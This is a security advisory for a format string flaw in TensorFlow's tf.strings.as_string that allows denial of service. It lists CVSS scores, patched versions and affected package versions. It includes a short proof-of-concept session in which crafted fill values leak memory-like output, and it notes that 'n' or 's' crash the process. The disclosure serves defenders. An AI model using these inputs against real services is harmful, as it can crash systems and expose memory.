GHSA-xmq7-7fxm-rr79

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Source
https://github.com/advisories/GHSA-xmq7-7fxm-rr79
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-xmq7-7fxm-rr79/GHSA-xmq7-7fxm-rr79.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-xmq7-7fxm-rr79
Aliases
Published
2020-09-25T18:28:37Z
Modified
2024-10-28T21:33:11.770598Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
  • 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
Denial of Service in Tensorflow
Details

Impact

By controlling the fill argument of tf.strings.as_string, a malicious attacker is able to trigger a format string vulnerability due to the way the internal format use in a printf call is constructed: https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/asstringop.cc#L68-L74

This can result in unexpected output:

In [1]: tf.strings.as_string(input=[1234], width=6, fill='-')                                                                     
Out[1]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['1234  '], dtype=object)>                                              
In [2]: tf.strings.as_string(input=[1234], width=6, fill='+')                                                                     
Out[2]: <tf.Tensor: shape=(1,), dtype=string, numpy=array([' +1234'], dtype=object)> 
In [3]: tf.strings.as_string(input=[1234], width=6, fill="h")                                                                     
Out[3]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['%6d'], dtype=object)> 
In [4]: tf.strings.as_string(input=[1234], width=6, fill="d")                                                                     
Out[4]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['12346d'], dtype=object)> 
In [5]: tf.strings.as_string(input=[1234], width=6, fill="o")
Out[5]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['23226d'], dtype=object)>
In [6]: tf.strings.as_string(input=[1234], width=6, fill="x")
Out[6]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['4d26d'], dtype=object)>
In [7]: tf.strings.as_string(input=[1234], width=6, fill="g")
Out[7]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['8.67458e-3116d'], dtype=object)>
In [8]: tf.strings.as_string(input=[1234], width=6, fill="a")
Out[8]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['0x0.00ff7eebb4d4p-10226d'], dtype=object)>
In [9]: tf.strings.as_string(input=[1234], width=6, fill="c")
Out[9]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['\xd26d'], dtype=object)>
In [10]: tf.strings.as_string(input=[1234], width=6, fill="p")
Out[10]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['0x4d26d'], dtype=object)>
In [11]: tf.strings.as_string(input=[1234], width=6, fill='m') 
Out[11]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['Success6d'], dtype=object)>

However, passing in n or s results in segmentation fault.

Patches

We have patched the issue in 33be22c65d86256e6826666662e40dbdfe70ee83 and will release patch releases for all versions between 1.15 and 2.3.

We recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

References

Affected packages

PyPI / tensorflow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.15.4

Affected versions

0.*

0.12.0
0.12.1

1.*

1.0.0
1.0.1
1.1.0
1.2.0
1.2.1
1.3.0
1.4.0
1.4.1
1.5.0
1.5.1
1.6.0
1.7.0
1.7.1
1.8.0
1.9.0
1.10.0
1.10.1
1.11.0
1.12.0
1.12.2
1.12.3
1.13.1
1.13.2
1.14.0
1.15.0
1.15.2
1.15.3

PyPI / tensorflow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.0.0
Fixed
2.0.3

Affected versions

2.*

2.0.0
2.0.1
2.0.2

PyPI / tensorflow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.1.0
Fixed
2.1.2

Affected versions

2.*

2.1.0
2.1.1

PyPI / tensorflow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.2.0
Fixed
2.2.1

Affected versions

2.*

2.2.0

PyPI / tensorflow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.3.0
Fixed
2.3.1

Affected versions

2.*

2.3.0

PyPI / tensorflow-cpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.15.4

Affected versions

1.*

1.15.0

PyPI / tensorflow-cpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.0.0
Fixed
2.0.3

PyPI / tensorflow-cpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.1.0
Fixed
2.1.2

Affected versions

2.*

2.1.0
2.1.1

PyPI / tensorflow-cpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.2.0
Fixed
2.2.1

Affected versions

2.*

2.2.0

PyPI / tensorflow-cpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.3.0
Fixed
2.3.1

Affected versions

2.*

2.3.0

PyPI / tensorflow-gpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.15.4

Affected versions

0.*

0.12.0
0.12.1

1.*

1.0.0
1.0.1
1.1.0
1.2.0
1.2.1
1.3.0
1.4.0
1.4.1
1.5.0
1.5.1
1.6.0
1.7.0
1.7.1
1.8.0
1.9.0
1.10.0
1.10.1
1.11.0
1.12.0
1.12.2
1.12.3
1.13.1
1.13.2
1.14.0
1.15.0
1.15.2
1.15.3

PyPI / tensorflow-gpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.0.0
Fixed
2.0.3

Affected versions

2.*

2.0.0
2.0.1
2.0.2

PyPI / tensorflow-gpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.1.0
Fixed
2.1.2

Affected versions

2.*

2.1.0
2.1.1

PyPI / tensorflow-gpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.2.0
Fixed
2.2.1

Affected versions

2.*

2.2.0

PyPI / tensorflow-gpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.3.0
Fixed
2.3.1

Affected versions

2.*

2.3.0